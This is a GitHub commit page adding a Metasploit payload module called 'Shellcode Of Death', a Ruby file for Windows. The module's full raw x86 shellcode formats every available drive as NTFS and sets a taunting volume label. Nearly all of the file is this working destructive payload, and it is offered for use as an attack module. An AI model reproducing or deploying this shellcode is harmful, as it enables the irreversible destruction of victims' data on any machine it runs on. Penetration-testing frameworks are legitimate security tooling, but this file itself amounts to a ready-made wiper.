Skip to content

Commit f5633ba

Browse files
hacksysteamhacksysteam
committed
Add format_all_drives shellcode for Windows x86_x64
1 parent 3a99f7f commit f5633ba

File tree

1 file changed

+135
-0
lines changed

1 file changed

+135
-0
lines changed

‎modules/payloads/singles/windows/format_all_drives.rb

Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
###
7+
# uuuuuuu
8+
# uu$$$$$$$$$$$uu
9+
# uu$$$$$$$$$$$$$$$$$uu
10+
# u$$$$$$$$$$$$$$$$$$$$$u
11+
# u$$$$$$$$$$$$$$$$$$$$$$$u
12+
# u$$$$$$$$$$$$$$$$$$$$$$$$$u
13+
# u$$$$$$$$$$$$$$$$$$$$$$$$$u
14+
# u$$$$$$" "$$$" "$$$$$$u
15+
# "$$$$" u$u $$$$"
16+
# $$$u u$u u$$$
17+
# $$$u u$$$u u$$$
18+
# "$$$$uu$$$ $$$uu$$$$"
19+
# "$$$$$$$" "$$$$$$$"
20+
# u$$$$$$$u$$$$$$$u
21+
# u$"$"$"$"$"$"$u
22+
# uuu $$u$ $ $ $ $u$$ uuu
23+
# u$$$$ $$$$$u$u$u$$$ u$$$$
24+
# $$$$$uu "$$$$$$$$$" uu$$$$$$
25+
# u$$$$$$$$$$$uu """"" uuuu$$$$$$$$$$
26+
# $$$$"""$$$$$$$$$$uuu uu$$$$$$$$$"""$$$"
27+
# """ ""$$$$$$$$$$$uu ""$"""
28+
# uuuu ""$$$$$$$$$$uuu
29+
# u$$$uuu$$$$$$$$$uu ""$$$$$$$$$$$uuu$$$
30+
# $$$$$$$$$$"""" ""$$$$$$$$$$$"
31+
# "$$$$$" Shellcode Of ""$$$$""
32+
# $$$" Death $$$$"
33+
#
34+
#
35+
# _ __ _____
36+
# /\ /\__ _ ___| | __/ _\_ _ ___ /__ \___ __ _ _ __ ___
37+
# / /_/ / _` |/ __| |/ /\ \| | | / __| / /\/ _ \/ _` | '_ ` _ \
38+
# / __ / (_| | (__| < _\ \ |_| \__ \ / / | __/ (_| | | | | | |
39+
# \/ /_/ \__,_|\___|_|\_\\__/\__, |___/ \/ \___|\__,_|_| |_| |_|
40+
# |___/
41+
#
42+
# http://hacksys.vfreaks.com/
43+
# [email protected]
44+
#
45+
#
46+
# Shellcode Of Death
47+
#
48+
# Copyright (c) 2012-2013 HackSys Team - Panthera
49+
# All rights reserved.
50+
#
51+
# Test bed:
52+
# x86: Windows XP SP3, Windows 2003 SP2, Windows 7
53+
# x64: Windows 8.1
54+
#
55+
###
56+
57+
require 'msf/core'
58+
59+
module Metasploit3
60+
61+
include Msf::Payload::Windows
62+
include Msf::Payload::Single
63+
64+
def initialize(info = {})
65+
super(update_info(info,
66+
'Name' => 'Shellcode Of Death',
67+
'Description' => %q{
68+
Formats all the available Windows drives.
69+
70+
Finally sets the volume label as set by
71+
the user. If error occurs, it skips and
72+
proceeds formatting the next volume.
73+
},
74+
'Author' => [ 'Ashfaq Ansari <[email protected]>',
75+
'Ruei-Min Jiang <@mike820324>'
76+
],
77+
'License' => MSF_LICENSE,
78+
'Platform' => 'win',
79+
'Arch' => ARCH_X86,
80+
'Privileged' => true,
81+
))
82+
83+
# EXITFUNC is not supported
84+
deregister_options('EXITFUNC')
85+
86+
# Register command execution options
87+
register_options(
88+
[
89+
OptString.new('VOLUMELABEL', [ false, "Set the volume label", "PwNeD - HackSys Team" ])
90+
], self.class)
91+
end
92+
93+
def generate
94+
95+
volume_label = datastore['VOLUMELABEL'] || ""
96+
encoded_volume_label = ''
97+
temp_voulme_label = volume_label
98+
99+
temp_voulme_label.split("").each do |i|
100+
encoded_volume_label << "#{i}" + "\x00"
101+
end
102+
103+
# Calculate the magic key
104+
magic_key = 28 + (2 * volume_label.length)
105+
106+
# Actual payload
107+
payload_data = "\xeb\x5a\x31\xc0\x8b\x34\x83\x01\xd6\x53\x50\x31\xdb\x31\xc0\xac\xc1\xc3\x05\x01\xc3\x83" +
108+
"\xf8\x00\x75\xf3\xc1\xcb\x05\x39\xcb\x58\x5b\x74\x03\x40\xeb\xde\xc3\x89\xd0\x8b\x40\x3c" +
109+
"\x8b\x44\x02\x78\x8d\x04\x02\x50\x8b\x40\x20\x8d\x1c\x02\xe8\xc3\xff\xff\xff\x5b\x8b\x4b" +
110+
"\x24\x8d\x0c\x0a\x66\x8b\x04\x41\x25\xff\xff\x00\x00\x8b\x5b\x1c\x8d\x1c\x1a\x8b\x04\x83" +
111+
"\x8d\x04\x02\xc3\x31\xc9\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x40\x1c\x8b\x50\x08\x8b" +
112+
"\x78\x20\x8b\x00\x3a\x4f\x18\x75\xf3\x68\x64\x5b\x02\xab\x68\x10\xa1\x67\x05\x68\xa7\xd4" +
113+
"\x34\x3b\x68\x96\x90\x62\xd7\x68\x87\x8f\x46\xec\x68\x06\xe5\xb0\xcf\x68\xdc\xdd\x1a\x33" +
114+
"\x89\xe5\x6a\x07\x59\x31\xff\x83\xf9\x01\x75\x0c\x51\xeb\x1c\x8b\x44\x24\x1c\xff\xd0\x89" +
115+
"\xc2\x59\x51\x8b\x4c\xbd\x00\xe8\x6b\xff\xff\xff\x59\x50\x47\xe2\xe0\x89\xe5\xeb\x0f\xe8" +
116+
"\xdf\xff\xff\xff\x66\x6d\x69\x66\x73\x2e\x64\x6c\x6c\x00\xeb\x7e\x5e\x6a\x17\x59\x89\xcf" +
117+
"\x31\xd2\x52\x52\x6a\x03\x52\x6a\x03\x68\x00\x00\x00\xc0\x56\x8b\x5d\x14\xff\xd3\x50\x83" +
118+
"\xec\x04\x31\xd2\x52\x8d\x5c\x24\x04\x53\x52\x52\x52\x52\x68\x20\x00\x09\x00\x50\x8b\x5d" +
119+
"\x08\xff\xd3\xff\x74\x24\x04\x8b\x5d\x0c\xff\xd3\x8d\x86" +
120+
# You need to adjust this. Logic: 28 + (2 * len(volume_label))
121+
magic_key.chr +
122+
"\x00\x00\x00\x50\x68\x00\x10\x00\x00\x6a\x01\x8d\x86\x1a\x00\x00\x00\x50\x8d\x86\x10\x00" +
123+
"\x00\x00\x50\x6a\x0c\x8d\x46\x08\x50\x8b\x5d\x00\xff\xd3\x68\xc8\x00\x00\x00\x8b\x5d\x04" +
124+
"\xff\xd3\x89\xf9\x83\x46\x08\x01\xe2\x8d\x6a\x00\x8b\x5d\x10\xff\xd3\xe8\x7d\xff\xff\xff" +
125+
"\x5c\x00\x5c\x00\x2e\x00\x5c\x00\x43\x00\x3a\x00\x5c\x00\x00\x00\x4e\x00\x54\x00\x46\x00" +
126+
"\x53\x00\x00\x00" +
127+
# Volume Label
128+
# Default: PwNeD - HackSys Team
129+
encoded_volume_label +
130+
# Volume Label End
131+
"\x00\x00\x55\x89\xe5\x31\xc0\x40\x5d\xc2\x0c\x00"
132+
133+
the_payload = payload_data
134+
end
135+
end

0 commit comments

Comments
 (0)